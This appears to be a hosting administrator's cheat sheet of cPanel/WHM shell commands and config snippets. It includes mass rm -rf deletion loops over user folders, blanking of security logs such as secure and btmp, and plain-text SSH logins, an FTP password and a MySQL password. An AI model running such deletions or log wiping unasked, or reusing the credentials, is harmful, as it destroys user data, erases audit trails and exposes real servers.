Mailman fix command:
/scripts/fixmailman
*********************************************************************************************************************
php -i | grep upload_max_filesize
*********************************************************************************************************************
Pop restart command:
/scripts/restartsrv_cppop
/etc/init.d/ipaliases restart
*********************************************************************************************************************
Port users finding command:
lsof -p 25
lsof -p <PID>
lsof -i -n -P
netstat -a 25
netstat -nan |grep 25
netstat -a | egrep 'Proto|LISTEN'
to get port numbers instead of having the utility try to provide names for services:
netstat -an | egrep 'Proto|LISTEN'
For instance, if you wanted to find out what was up with port 631, you might use this command:
grep -w 631 /etc/services
netstat -lnptu
lsof -i -n | egrep 'COMMAND|LISTEN'
----------------------------------------------
Check Syn Attact
netstat -plane | grep SYN | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c
Attack
#netstat -plan |grep :80|awk '{print $5}' |cut -d: -f1 |sort |uniq -c |sort -n
#netstat -an | grep SYN|sort|uniq|awk '{print $5}'|sed 's/\:/ /g'|awk '{print "csf -d "$1}'
****************
process id check command:
lsof -p process-id
*****************************************************************************************************
Rebuild IP pool command to know number of free Ips on server
/scripts/rebuildippool
Free Ips on server
Ip which is Free
cat /etc/ipaddrpool
Assigned Dedicated Ips:
cat /etc/domainips
max emails per hour
maxemailsperhour
cat /var/cpanel/maxemailsperhour
*********************************************************************************************************************
original :
find ! -regex '.*\.\(tex\)' -exec echo {} \;
1. to clear /tmp folder without deleting mysql socket.
caution : rm command
find ! -regex '.*\.\(sock\)' -exec rm {} \;
*********************************************************************************************************************
SSH Command:
ssh -p 1097 3ixteam@pluto.host-care.com
How to ssh to another server:
ssh -p 3131 njsghdow@72.29.71.17
*********************************************************************************************************************
Terminate account :
/scripts/killacc username
Unsuspend Account:
/scripts/unsuspendacct username
Zen optimiser installtion cmd
/scripts/installzendopt
*********************************************************************************************************************
/scripts/upcp --force
use when email account creation shows ajax error.
vi /etc/valiases/domain-name
*********************************************************************************************************************
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
<IfModule mod_headers.c>
Header unset Content-Type
Header unset Content-Disposition
Header set Content-Disposition attachment
Header set Content-Type application/octet-stream
Header add Content-Type application/force-download
Header add Content-Type application/download
Header unset Content-Transfer-Encoding
Header set Content-Transfer-Encoding binary
</IfModule>
*********************************************************************************************************************
To create socket file:
ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock
*********************************************************************************************************************
Cmds:
wget --output-document=/dev/null http://www.lyte.com.uy/bo/newsletters_envios.php
Copy folders using ftp
wget -r ftp://username:password@ip.of.old.host
wget -r ftp://user:pass@server.com/
wget -r –ftp-user=”admin@domain.com” –ftp-password=aq1sw2de3 ftp://ip.of.old.host/*
/scripts/unsuspendacct anadolud
header("Refresh: 0;url=http://www.hostdigital.com.ar");
mysql> show engines
dig hungrypenguin.net MX
ftp://loversba@www.k4we.com/public_html/vb/showthread.php
*********************************************************************************************************************
Set permissions of all user files
find /home*/*/public_html -type d -perm 0777 -exec chmod 755 {} \;
find /home*/*/public_html -type f -perm 0777 -exec chmod 755 {} \;
find /home*/*/public_html -type f -perm 0666 -exec chmod 644 {} \
*********************************************************************************************************************
To check gd is installed on sever
rpm -q php-gd
rpm -q gd
Imagemagick binary /usr/bin/convert
To check verion
/usr/bin/convert -version
Code to check it is insatlled on server
<?php
$canvas = new Imagick();
?>
*********************************************************************************************************************
RewriteEngine on
Redirect 301 http://secure.mydomain.com https://secure.mydomain.com
http://forums.theplanet.com/index.php?showtopic=33360
How to redirect http://domain.com/cpanel to port 2083
Add the following to your httpd.conf
ScriptAlias /webmail /usr/local/cpanel/base/wredirect.cgi
ScriptAlias /cpanel /usr/local/cpanel/base/sredirect.cgi
ScriptAlias /whm /usr/local/cpanel/base/swhmredirect.cgi
*********************************************************************************************************************
Go to /home
Let assume cPanel username sagar
execute following commands in /home
chown sagar.sagar sagar -R
chown sagar.mail sagar/etc -R
chown sagar.nobody sagar/public_html
rm -rf sagar/.cpanel
*********************************************************************************************************************
How to make root domain .htaccess not affect to subdomain
http://www.webmasterworld.com/apache/3132035-1-30.htm?highlight=blog
RewriteCond %{HTTP_HOST} ^blog\.mydomain\.net(:80)?$ [NC]
RewriteRule (.*) - [L]
*********************************************************************************************************************
Cmd to check which Linux Version are you using: Distribution of Linux
cat /etc/redhat-release
cat /proc/version
*********************************************************************************************************************
safe_mode_allowed_env_vars = TZ
safe_mode_protected_env_vars =
*********************************************************************************************************************
http://drupal.org/node/30334
The trick is to modify .htaccess to ignore specific files/folders. So for example, if you have two folders, <folder1> and <folder2> in the root of your Drupal installation, modify your .htaccess file by inserting the following code directly after the "RewriteEngine on" directive, before the Drupal rewrites:
=========[ start of .htaccess snippet]==========
<IfModule mod_rewrite.c>
RewriteEngine on
#
# stuff to let through (ignore)
RewriteCond %{REQUEST_URI} "/folder1/" [OR]
RewriteCond %{REQUEST_URI} "/folder2/"
RewriteRule (.*) $1 [L]
#
====================[ end ]=====================
*********************************************************************************************************************
Set Balck hole:
1 /etc/valiases/domainame.com
Add below line:
*: blackhole: :fail:
*: :blackhole:
*: :fail: No Such User Here
*: username
*********************************************************************************************************************
Procedures
WHW-Livechat: ## assign him stored procedure ,command in mysql as
GRANT EXECUTE ON PROCEDURE mafiarul_themostbeautiful.zzzzACategory to 'mafiarul_usertmb'@'localhost';
*********************************************************************************************************************
Httpd down :
ipcs -s | grep nobody
ipcs -s | grep nobody | perl -e 'while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}'
To find out the script sending mails :
egrep "X-PHP-Script" * -R
Remove all frozen mails :
/usr/sbin/exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim –Mrm
exim -qff -v -C /etc/exim.conf & -
Find big files on server :
1. find /home -name "*" -size +1000000k
2. find */public_html/* -name .pure*
3. find */public_html/* -name error_log*
4. find */public_html/* -name backup-*
5. locate .pureftpd- | xargs rm –fv
find /home/*/public_html -iname '*.pureftp' -exec mv "{}" /home/remove \;
find /home/*/public_html -iname 'backup-' -exec mv "{}" /home/delete \;
du -h --max-depth=1 | grep G
CPU:
ps -eo pcpu,pid,user,args | sort -k 1 -r | head -10
memory :
ps -auxf | sort -nr -k 4 | head -10
PRM check
cd /usr/local/prm
prm –s
cd rules/
ls
cat nobody
cat nobody.user
ps auxf | grep update
ps auxf
Crond process check
tail -f /var/log/cron
cd /var/spool/cron/user
min hr dom wd dow
Remove nobody files :
ll |grep nobody |awk '{print "rm -rf " $9}'
Empty log :
echo > btmp
echo > chkservd.log
echo > cron
echo > cron.1
echo > cron.2
echo > cron.3
echo > cron.4
echo > exim_mainlog
echo > exim_paniclog
echo > exim_rejectlog
echo > maillog
echo > maillog.1
echo > maillog.2
echo > maillog.3
echo > maillog.4
echo > messages
echo > messages.1
echo > messages.2
echo > messages.3
echo > messages.4
echo > secure
echo > secure.1
echo > secure.2
echo > secure.3
echo > secure.4
rm -rf 0*
rm -rf 1*
rm -rf 2*
rm -rf 3*
rm -rf 4*
rm -rf 5*
rm -rf 6*
rm -rf 7*
rm -rf 8*
rm -rf 9*
rm -rf a*
rm -rf b*
rm -rf c*
rm -rf d*
rm -rf e*
rm -rf f*
Please send proof attachments to prove that this is your site content and links where we can see the complaint you placed.
*********************************************************************************************************************
Text base Web browser
lynx http://comercin.com/index.html
*********************************************************************************************************************
Cpanel php.ini file
/usr/local/cpanel/3rdparty/etc/php.ini
*********************************************************************************************************************
Configuration files
cat /var/cpanel/cpanel.config
cat /etc/stats.conf
*********************************************************************************************************************
Cmds
Commands:
egrep -hi "skip(analog|awstats|webalizer)|stats" /var/cpanel/cpanel.config
grep -HiR "STATGENS" /var/cpanel/users
*********************************************************************************************************************
/usr/local/apache/domlogs/ftp.paginalia.es-ftp_log
cat /home/paginali/tmp/webalizerftp
/home/paginali/tmp/awstats
Language file path for awastat
/usr/local/cpanel/3rdparty/share/awstats/lang/
*********************************************************************************************************************
Disable error Logs for a domain:
1)
In php.ini
error_log = ""
log_errors = Off
2)
or comment line in http.confi for particular domain
CustomLog /usr/local/apache/logs/access_log common
ErrorLog “logs/error_log”
3)
Admin>Features and Options> Enable Error Logging>untick that>save
*********************************************************************************************************************
Error:
Warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in /home/contrare/public_html/a.php on line 2
1. php.ini
allow_url_fopen = On
*********************************************************************************************************************
Update webalizer preserving
http://forums.cpanel.net/f5/updating-webalizer-manually-53254.html
cd /home/USER/tmp/
cp -af webalizer webalizer.old
cp -af webalizerftp webalizerftp.old
cd webalizer
/usr/local/cpanel/3rdparty/bin/webalizer /usr/local/apache/domlogs/domainname -n domainname
*********************************************************************************************************************
SCP
#scp cpmove-esofof.tar.gz 67.23.238.200:
scp -pr root@a.b.c.d:/home/filename.gz /home
SSH
[fritzs@cerberus ~]$ ssh root@67.23.243.231 -p 1157
*********************************************************************************************************************
Check apache configuration are correct before restaring the apache service
apachectl configtest
/usr/local/apache/bin/apachectl configtest
Config test
httpd -t
*********************************************************************************************************************
-rwxr-xr-x 1 root root 22398697 Feb 8 09:39 /usr/local/bin/php*
755
*********************************************************************************************************************
Installing Softaculous in cPanel
http://www.softaculous.com/docs/Installing_Softaculous_in_cPanel
Installing Softaculous in Direct Admin
http://www.softaculous.com/docs/Installing_Softaculous_in_Direct_Admin
Path : /usr/local/cpanel/whostmgr/docroot/cgi/softaculous
Scripts Path : /var/softaculous
PHP Binary: /usr/local/cpanel/3rdparty/bin/php
This is the binary that will be used for the CRON Job and also other purposes. If empty then /usr/bin/php will be used.
http://www.softaculous.com/docs/Determine_Servers_IP
wget http://softaculous.com/ip.php; cat ip.php; echo "";
*********************************************************************************************************************
Process, if we install any plugin from whm:
cpsrvd
whostmgrd - serving 124.124.124.117
root 4136 3.0 0.2 104620 11620 ? S 07:36 0:00 | \_ /var/cpanel/3rdparty/bin/php /usr/local/cpanel/whostmgr/docroot/cgi/s
*********************************************************************************************************************
#echo core*
#rm -rf core*
*********************************************************************************************************************
phpmyadmin
update snaps set name = replace(name, 'JPG', 'jpg')
*********************************************************************************************************************
RvsiteBuilder:
Do not do this:
WARNING: RVSiteBuilder recommend maximum size of POST data 105 or above.
To avoid the problem, please SSH to the server as root and run
perl /var/cpanel/rvglobalsoft/rvsitebuilder/panelmenus/cpanel/scripts/autofixphpini.pl .
You can edit DB user name, DB password ,DB name in
/var/cpanel/rvglobalsoft/rvsitebuilder/var/mainIP.default.ini.php
Log Path
/var/cpanel/rvglobalsoft/rvsitebuilder/var/log/php_log.txt
/var/cpanel/rvglobalsoft/rvsitebuilder/
Auto Backup RVSiteBuilder:
perl /var/cpanel/rvglobalsoft/rvsitebuilder/rvsBackup.pl 'backup' > /dev/null
Disable RVSiteBuilder for a user:
WHM>> Plugins >> RVSiteBuilder Manager >> User Control List
Enable RVSiteBuilder for all resellers and their clients:
WHM>> Plugins >> RVSiteBuilder Manager >> Reseller Control List
*********************************************************************************************************************
Fantastico De Luxe WHM Admin
WHM>> Plugins >> Fantastico De Luxe WHM Admin >> Features Sets
*********************************************************************************************************************
jtablesession::Store Failed
http://www.youtukan.com/joomla/jtablesession-store-failed-db-function-failed-with-error-number-1062.html
http://www.joomla-tips.org/joomla-troubleshooter/jtablesessionstore-failed-db-function-failed-with-error-number-1062.html
http://www.fasthostinghelp.com/error-db-function-failed-t82.html?s=33dd0d2b2a46e8e1abc01a9ab52342e6&
1. Make sure that the db files are owned by mysql if it is linux system; generally they are found at /var/lib/mysql.
2. Check if you are not running out of disk space.
3. Check if the permissions of the db files are correct.
4. Or try to repair the table.
*********************************************************************************************************************
Do not use this
cd /tmp
remove all the file and folders except the files and folders start with word 'm'
rm -rf [^m]*
*********************************************************************************************************************
/scripts/restorepkg --force efinet
/scripts/restorepkg --force pixelon
*********************************************************************************************************************
php.ini settings:
safe_mode = On
open_basedir =
disable_functions =
allow_url_fopen = On
short_open_tag = On
Set expose_php to Off in php.ini To Hide PHP Version Information on Web Server
expose_php = Off
ini_set('expose_php',0);
*********************************************************************************************************************
Mails location:
/mail/domainname.com/username/cur/
/mail/obatek.com/anijide/cur/anijide.tar (i.e)
*********************************************************************************************************************
Ways to increase ftp transter speed
http://www.linuxquestions.org/questions/linux-newbie-8/ways-to-increase-ftp-transter-speed-786906/
# increase TCP max buffer size setable using setsockopt()
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
# increase Linux autotuning TCP buffer limits
# min, default, and max number of bytes to use
# set max to at least 4MB, or higher if you use very high BDP paths
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
and then executed sysctl -p,
*********************************************************************************************************************
crontab -l -u usntube
crontab -e -u usntube
*********************************************************************************************************************
WhM >> Exim >> Domains and IPs>> Send outgoing mail from the IP that matches the domain name in /etc/mailips (*: IP can be added to the file to change the main outgoing interface)
*********************************************************************************************************************
Change Routing IP
remote_smtp:
driver = smtp
interface = 173.236.13.246
#helo_data = ${if exists {/etc/mailhelo}{${lookup{$sender_address_domain}lsearch*{/etc/mailhelo}{$value}{$primary_hostname}}}{$primary_hostname}}
*********************************************************************************************************************
Exim Help
http://serversignature.com/exim-command-line-options
*********************************************************************************************************************
Secure permissions
chmod 750 /usr/bin/rcp
chmod 750 /usr/bin/wget
chmod 750 /usr/bin/lynx
chmod 750 /usr/bin/links
chmod 750 /usr/bin/scp
chmod 000 /etc/httpd/proxy/
*********************************************************************************************************************
You may face this error while creating forwarders in cpanel, General cause of this error is incorrect permissions of /etc/valiases/domain.com. Please go through the following fix.
root@server [~]# cd /etc/valiases/
root@server [~]# chown username:mail domain.com
OR
root@server [~]# /scripts/fixvaliases
*********************************************************************************************************************
Redirect Webmail:
1. add: www.webmail A record entry
2. mkdir webmail
3. .htaccess
RewriteEngine on
RewriteCond %{HTTP_HOST} ^webmail.easylearnghana.com$ [OR]
RewriteCond %{HTTP_HOST} ^www.webmail.easylearnghana.com$
RewriteRule ^(.*)$ https://easylearnghana.com:2096/3rdparty/horde/index.php?_task=mail$1 [R=301,L]
OR
RewriteEngine on
RewriteCond %{HTTP_HOST} ^webmail.easylearnghana.com$ [OR]
RewriteCond %{HTTP_HOST} ^www.webmail.easylearnghana.com$
RewriteRule ^(.*)$ http://easylearnghana.com:2095/3rdparty/horde/index.php?_task=mail$1 [R=301,L]
*********************************************************************************************************************
function rmove from php.ini (It will not prompt for username and passowrd while connect to ftp via wordpress) setmyuid
*********************************************************************************************************************
Deny Ip
vi /etc/csf/csf.conf
CC_DENY = "FR,RU,TR"
*********************************************************************************************************************
Security
Send passwords when creating a new account [?]
*********************************************************************************************************************
mysql
SHOW PROCESSLIST;
*********************************************************************************************************************
Find reseller accounts:
grep marisaav /etc/trueuserowners
grep "OWNER=solucio3" -r /var/cpanel/users
grep -r "OWNER=kkwcom" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5
grep -r "OWNER=kkwcom" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 1-5
To find reseller owners domain name
#grep -r "OWNER=kkwcom" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 1-5 | grep DNS= $(xargs)
# grep -r "OWNER=kkwcom" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 1-5 | grep DNS= $(xargs) | cut -d = -f 2
Exact account under the reseller account
#grep "OWNER=solucio3" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5
grep mysql php.ini -n --color
Domain Name:
??????# egrep "OWNER=townengi|DNS=" -r /var/cpanel/users
grep c2n /etc/trueuserdomains
To find out the username and domain name
grep username /etc/userdomains
To check the IPs aggigned to Reseller Clients
cd /tmp
grep -r "OWNER=superost" /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5 | tee fileresller ; cd /var/cpanel/users ; cat /tmp/fileresller | xargs cat | grep --color IP=
Find Sevrer Dedicated IPs:
cat /etc/ips
To find Nameservers IPs:
cat /etc/nameserverips
To check free IPs on server: (Free Dedicated Ip on servers)
/scripts/rebuildippool
/etc/init.d/ipaliases restart
To check the zone file on server:
cat /var/named/domainname.com.db
To check mail server routing ip:
grep -A 2 remote_smtp /etc/exim.conf | grep interface --color
grep daemon_smtp_ports /etc/exim.conf --color
daemon_smtp_ports = 25 : 26 : 465 : 587
1 ) Mail from 173.236.99.82 refused by RBL, RSS, or DUL, please see
www.mail-abuse.com
To check block country
grep CC_DENY /etc/csf/csf.conf --color
root@real [/tmp]# csf -g 78.164.175.56
Chain num pkts bytes target prot opt in out source destination
CC_DENY 794 13927 688K DROP all -- * * 78.160.0.0/11 0.0.0.0/0
root@real [/tmp]# csf -g 78.164.175.56
Chain num pkts bytes target prot opt in out source destination
CC_DENY 794 13991 691K DROP all -- * * 78.160.0.0/11 0.0.0.0/0
LOCALINPUT 634 0 0 DROP all -- !lo * 78.164.175.56 0.0.0.0/0
LOCALOUTPUT 631 0 0 DROP all -- * !lo 0.0.0.0/0 78.164.175.56
csf.deny: 78.164.175.56 # Manually denied - Mon Aug 29 15:34:03 2011
wc /etc/csf/csf.deny
ifconfig | grep "inet addr"
ifconfig -a | grep inet | awk {'print $2'}
To find the files which are created/mofied in home directory within 1 hour
#find -maxdepth 2 -ctime -1 -name "*tar.gz*" -exec ls -lh {} \;
find -maxdepth 2 -ctime -1 -name "*tar.gz*" -exec mv -v {} /usr/local/apache/htdocs/ \; -print
Change uppercase to lowwer case
cat test | tr [A-Z] [a-z]
To move a text file into upper case letters, you can use Awk in the following way:
#awk ‘{ print toupper($0) }’ old_file > new_file
ll $(which wget)
ll /tmp/ | awk {'print $3'} | sort | uniq -c | sort -n
*********************************************************************************************************************
Increase phpmyadmin upload limit
root@power [/usr/local/cpanel/3rdparty/etc/phpmyadmin]#vi php.ini
post_max_size
upload_max_filesize
memory_limit
vi my.cnf
max_allowed_packet
phpMyadmin uses the php.ini in /usr/local/cpanel/3rdparty/etc/php.ini , memory_limit = 512M was adjusted and then
/usr/local/cpanel/install_php_inis to install the custom php.ini for phpMyAdmin
*********************************************************************************************************************
httpd -v (Version details)
httpd -V ( show compile settings)
httpd -l (To check module installled)
httpd -t
How to check gzip compression is enable on the server or domain.
http://www.eukhost.com/forums/f15/how-check-gzip-compression-enable-8932/
*********************************************************************************************************************
Spf
v=spf1 a:power.superdnssite.com -all
v=spf1 a mx ip4:67.23.243.231 ptr:core-cre.com mx:harvestpress.com mx:mail.harvestpress.com ip4:97.74.144.118 a:core-cre.com include:core-cre.com mx:core-cre.com -all
*********************************************************************************************************************
HOW-TO install ffmpeg, Mplayer, mencoder,FLVtool2 and Yamdi on Plesk Linux based
http://www.grafxsoftware.com/faq.php/HOW-TO-install-ffmpeg-Mplayer-mencoderFLVtool2-and-Yamdi-on-Plesk-Linux-based-server/1/16/
*********************************************************************************************************************
Copying skel files from /home/alojaweb/cpanel3-skel/
*********************************************************************************************************************
“How to check and open ports in Linux”
Option 1:
Check /etc/services file
planetmy:/ # cat /etc/services | grep xxx (xxx = port number)
Option 2:
Use netstat command – Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships.
planetmy:/ # netstat -nan | grep 22
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 7110/sshd
Option 3:
use lsof command – list open files
planetmy:/ # lsof -i -n -P|grep 631
Option 4:
use nmap command – Network exploration tool and security scanner
planetmy:/ # nmap -sS -O 192.168.1.2
*********************************************************************************************************************
************************************************************************************************************************
Restore
1) cat finaluserlist1 | sort -n
2) cat finaluserlist1 | sort -n | awk '{print $2}'
3) cat finaluserlist1 | cut -d _ -f3 | cut -d . -f1 (Username list)
Check domain name
cat /var/cpanel/users/rubielse | grep DNS
for user in `cat finaluserlist1`
do
nice --15 /scripts/pkgacct $user && echo package account done for $user >> finalpkgaccount.txt
done ;
for user in `cat file`
do
/scripts/whoowns $user | echo "Done for $user $(xargs) " ; done ;
Remove files:
for user in `cat rellerowner`
do
echo Change Directorey to $user
find /home/$user -maxdepth 2 -type d -name ".log" -ok rm -rf {} \;
done ;
for user in `grep "OWNER=ciberter" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5`
do
nice --15 rm -rfv /home/$user/mail && rm -rfv /home/$user/public_html/ echo Mail Removed $user >> MailFolderRemoved.txt
done ;
#grep "OWNER=pasiones" -r /var/cpanel/users
Exact account under the reseller account
#grep "OWNER=pasiones" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5
Chage ownershipr and copy php.ini file:
for user in `cat usersfile`
do
cp -v /home/dfx/public_html/php.ini /home/$user/public_html/
chown -v $user.$user /home/$user/public_html/php.ini
done ;
ls *tar.gz | chmod -v $(xargs)
test -f php.ini && cp -v php.ini php.ini-bak
cp -v -b php.ini
strings -f /bin/* | grep Copy
-f --print-file-name Print the name of the file before each string
************************************************************************************************************************
************************************************************************************************************************
Renaming Folders
find -type d -maxdepth 1 -exec mv -v {} {}_bak \;
/home/ustundag
ls -ld *tar.gz | wc
wc user_name*
root@next [/home]# ls -ld *tar.gz | awk '{print $9}' | cut -c 8-50
root@next [/home]# ls -ld *tar.gz | awk '{print $9}' | cut -c 8-50 | cut -d . -f 1
root@prince [/home]# ls -ld *tar.gz | awk '{print $9}' | cut -d _ -f 3
root@prince [/home]# ls -ld *tar.gz | awk '{print $9}' | cut -d _ -f 3 | cut -d . -f 1
*********************************************************************************************************************
php Runtime Configuration
http://www.php.net/manual/en/info.configuration.php#ini.max-input-time
*********************************************************************************************************************
http://65.60.24.2/~defaultt/serverstat/?nocahe
*********************************************************************************************************************
rsync command
rsync -varhP
root@next [/usr/local/apache/htdocs]# rsync -av --progress --rsh="ssh -l whwteam" next/ 67.23.238.138:next/
reverse mapping checking getaddrinfo for 67-23-238-138.static.dimenoc.com failed - POSSIBLE BREAK-IN ATTEMPT!
whwteam@67.23.238.138's password:
stdin: is not a tty
building file list ...
11 files to consider
./
cpmove-andevac.tar.gz
1676623183 100% 367.87kB/s 1:14:10 (xfer#1, to-check=9/11)
cpmove-atikorg.tar.gz
1675542684 100% 335.97kB/s 1:21:10 (xfer#2, to-check=8/11)
scp cpmove-yuksel.tar.gz 67.23.238.138:/home/
*********************************************************************************************************************
To start SSL service
killall -9 httpd
/etc/init.d/httpd startssl
*********************************************************************************************************************
dmesg | grep -vi firewall | less
*********************************************************************************************************************
Linux / UNIX command to open .gz files
$ gunzip file.gz
$ gzip -d file.gz
*********************************************************************************************************************
create a .tar.gz file
http://www.thedumbterminal.co.uk/php/knowledgebase/?action=view&id=3
tar -cvzf <output filename> <directory>
this means:
-c = create new archive
-v = be verbose
-z = compress using gzip
-f = filename to create for the new archive
for the directory dont to "directory/*" just to "directory" with no slash
filenames should end in ".tar.gz" as they are tarr'ed then zipped
*********************************************************************************************************************
Disabling PHP for specific directories with Apache
To disable PHP for a specific directory when running Apache web server, just use the "php_value" directive inside a location, directory or files block in your config file. See the example below for details:
<Location /somedir>
php_value engine off
</Location>
*********************************************************************************************************************
SERVICE CURRENTLY NOT AVAILABLE!Error No. [500]
/usr/local/cpanel/bin/update-squirrelmail --force
path to update scripts
/usr/local/cpanel/bin/update
*********************************************************************************************************************
Temporary link for Windows
http://184.154.49.162/$sitepreview/domain name/
*********************************************************************************************************************
export LANG=C ; setenv LANG C ; echo ${LANG}_SSH_CLIENT=${SSH_CLIENT}
setenv SSH_CLIENT 72.29.67.34 ; export SSH_CLIENT=72.29.67.34
stty columns 80
perl -e 'print "\t==sshcontroloutput==\n"';/bin/sh -c 'cat /etc/trueuserdomains /etc/trueuserowners /etc/domainips /usr/local/cpanel/version 2>/dev/null ; echo ; /scripts/dumpquotas 2>/dev/null ; echo';echo;perl -e 'print "\t==sshcontroloutput==\n"'
exit
*********************************************************************************************************************
Change ownership of softlink
-h, --no-dereference
# chown abdul96.abdul96 -h test
*********************************************************************************************************************
Verify that port is open
Run following command:
netstat -tulpn | less
Make sure iptables is allowing port 80 / 110 / 143 connections:
iptables -L -n
*********************************************************************************************************************
hich Processes are Running On Your Server
sbin/chkconfig --list
*********************************************************************************************************************
increase mail size limit in exim
exim -bP | grep message_size_limit
http://forums.cpanel.net/f5/set-mail-attachment-size-limit-7481.html
http://linuxhostingsupport.net/blog/tag/increase-size-of-email-in-exim
*********************************************************************************************************************
setuid and setgid bits
http://forums.macnn.com/90/mac-os-x/226271/what-does-permission-mean-rwsr-sr/
http://www.linuxquestions.org/questions/linux-server-73/how-to-set-permission-to-this-file-630945/
chmod 4755 looks like this:
-rwsr-xr-x
*********************************************************************************************************************
dovecot -n
Re: Permission denied when creating email account on cpanel
You can use following command as root user for cpanel to fix account level mail related permissions.
# /scripts/mailperm --verbose --skiplocaldomains --skipserverperm USER
# /scripts/mailperm --verbose USER
Where USER is cPanel account username.
--skiplocaldomains - This optional argument bypasses
addition of missing domains to the /etc/localdomains
file when specified. The localdomains file specifies
to Exim that it should always accept delivery for
the listed domains. Remote domains are removed from
/etc/localdomains regardless of this flag.
--skipmxcheck - This optional argument bypasses synchronizing
the mail exchanger setting from the cpanel users file to the
system.
--skipserverperm - This optional flag prevents modification
of the mail system files used by Exim and limits the
scope of permission modifications to the mail account
files.
--verbose - This optional flag signals the utility to
report detected permissions problems per user prior
to modifying any permissions.
--help - display this message and exit.
Fixed permissions on /home/jalalna/mail/emessamedia.com/test/.Sent/maildirfolder : was (0644), now (0660)
Fixed permissions on /home/jalalna/mail/emessamedia.com/test/.Junk/maildirfolder : was (0644), now (0660)
Fixed permissions on /home/jalalna/mail/emessamedia.com/test/.Drafts/maildirfolder : was (0644), now (0660)
*********************************************************************************************************************
Server Mail IP:
cat /var/cpanel/mainip
*********************************************************************************************************************
change cpanel them from shell
http://linuxhostingsupport.net/blog/howto-change-cpanel-theme-for-multiple-accounts
Use replace command on your shell.
cd /var/cpanel/users
replace RX=Vertex RX=X2 -- *
Change display_errors to Off
cp /usr/lib/php.ini . ; replace "display_errors = On" "display_errors = Off" -- php.ini ; replace "safe_mode = On" "safe_mode = Off" -- php.ini
http://www.grymoire.com/Unix/Sed.html
sed -e 's/public/var/' configuration.php > check.conf
*********************************************************************************************************************
PATH
Exentention path
ls -lh /usr/local/lib/php/extensions/
ls -lh /usr/local/lib/php/extensions/no-debug-non-zts-20060613/
i.e(ffmpeg.so ixed.5.2.lin pdo_mysql.so pdo.so pdo_sqlite.so sqlite.so suhosin.so)
Can check in php.ini file
; Directory in which the loadable extensions (modules) reside.
extension_dir = "/usr/local/lib/php/extensions/no-debug-non-zts-20060613"
php.ini file for ffmpeg
cat /usr/local/lib/php.ini.ffmpeg
ll /usr/local/Zend/lib/Optimizer-3.3.9/
squirrelmail config path
/usr/local/cpanel/base/3rdparty/squirrelmail/config/config.php
^Path
/etc/mail/spamassassin/
http://spamassassin.apache.org/full/2.6x/dist/doc/sa-learn.html
bayes_toks
*********************************************************************************************************************
#php -r 'phpinfo();' | grep ffmpeg
#php -r 'phpinfo();'
*********************************************************************************************************************
Cpanel >> Site software
touch /home/nextdem/.my.cnf
vi /home/nextdem/.my.cnf
[client]
user="nextdem"
pass="RXZxP98O2Y"
*********************************************************************************************************************
Dovecot:
http://docs.cpanel.net/twiki/pub/AllDocumentation/ReleaseNotes/dovecot-1.1.pdf
http://www.linuxmail.info/install-setup-dovecot-centos-5/
The command line method is initiated by executing /scripts/setupmailserver dovecot.
The WHM interface to this process is the Mailserver Selection function in the Service Configuration
section.
When performed using WHM, the conversion process is executed in the background, with the progress
logged to /var/cpanel/logs/setupmailserver as well as displayed in the browser.
Some failures were encountered during maildir conversion process.
Full log available at: /var/cpanel/logs/imap_conversion.log.1304549353
*********************************************************************************************************************
cPanel Software scripts
http://forum.likg.org.ua/server-side-actions/re-install-auxiliary-cpanel-software-scripts-t303.html
*********************************************************************************************************************
perl -pi -e 's/(useSendmail.*?= )false/$1true/g' /usr/local/cpanel/base/3rdparty/squirrelmail/config/config.php
*********************************************************************************************************************
roundcube 500
/usr/local/cpanel/bin/update-roundcube --force
*********************************************************************************************************************
How do I print a file in reverse order?
tac -r -s "." FILENAME
Tail a file at one line per second
tail -fs 1 somefile
*********************************************************************************************************************
SSL Certifate
SSLCertificateFile /etc/ssl/certs/www.hs-4u.com.crt
SSLCertificateKeyFile /etc/ssl/private/www.hs-4u.com.key
SSLCACertificateFile /etc/ssl/certs/www.hs-4u.com.cabundle
*********************************************************************************************************************
To check avaiable IPs on servers
/scripts/rebuildippool
System has 0 free ips.
*********************************************************************************************************************
lastb
last | head -n 20
# last -ai -t 20110604060111 root | grep -E 'gone|still'
root pts/0 Sat Jun 4 05:42 gone - no logout 124.13.76.205
root@host1 [~]# last -ai root | grep 124.13.76.205
root pts/0 Sat Jun 4 05:42 - 08:20 (02:38) 124.13.76.205
****************************@ *********************************************************************************
To check mysql logs:
# tail -f /var/lib/mysql/real.superdnssite.com.err
# tail -f /var/lib/mysql/serverhostname.err
*********************************************************************************************************************
Error message: Can't create/write to file '/tmp/#sql_6c5a_0.MYI' (Errcode: 13)
# chown root:root /tmp
# chmod 1777 /tmp
# /etc/init.d/mysqld start
http://forums.mysql.com/read.php?11,101316,126000
Re: Can't create/write to file '/root/tmp/
REMARK :
Don't do this :
1. mkdir /var/lib/mysql/tmp
2. chmod mysql:mysql /var/lib/mysql/tmp
3. Add the following line into the [mysqld] section: tmpdir = /var/lib/mysql/tmp
4. Restart the server
But do :
1. mkdir /tmp/mysql
2. chmod 777 /tmp/mysql
3. chown mysql:mysql /tmp/mysql
4. vi /etc/my.cnf and add in [mysqld section] : tmpdir = /tmp/mysql
5. /etc/init.d/mysql restart or /etc/init.d/mysqld restart to restart mysql-server
*********************************************************************************************************************
How To Optimize Your Site With GZIP Compression
http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/
*********************************************************************************************************************
ERROR 1153: Got a packet bigger than 'max_allowed_packet' bytes
http://dev.mysql.com/doc/refman/5.1/en/packet-too-large.html
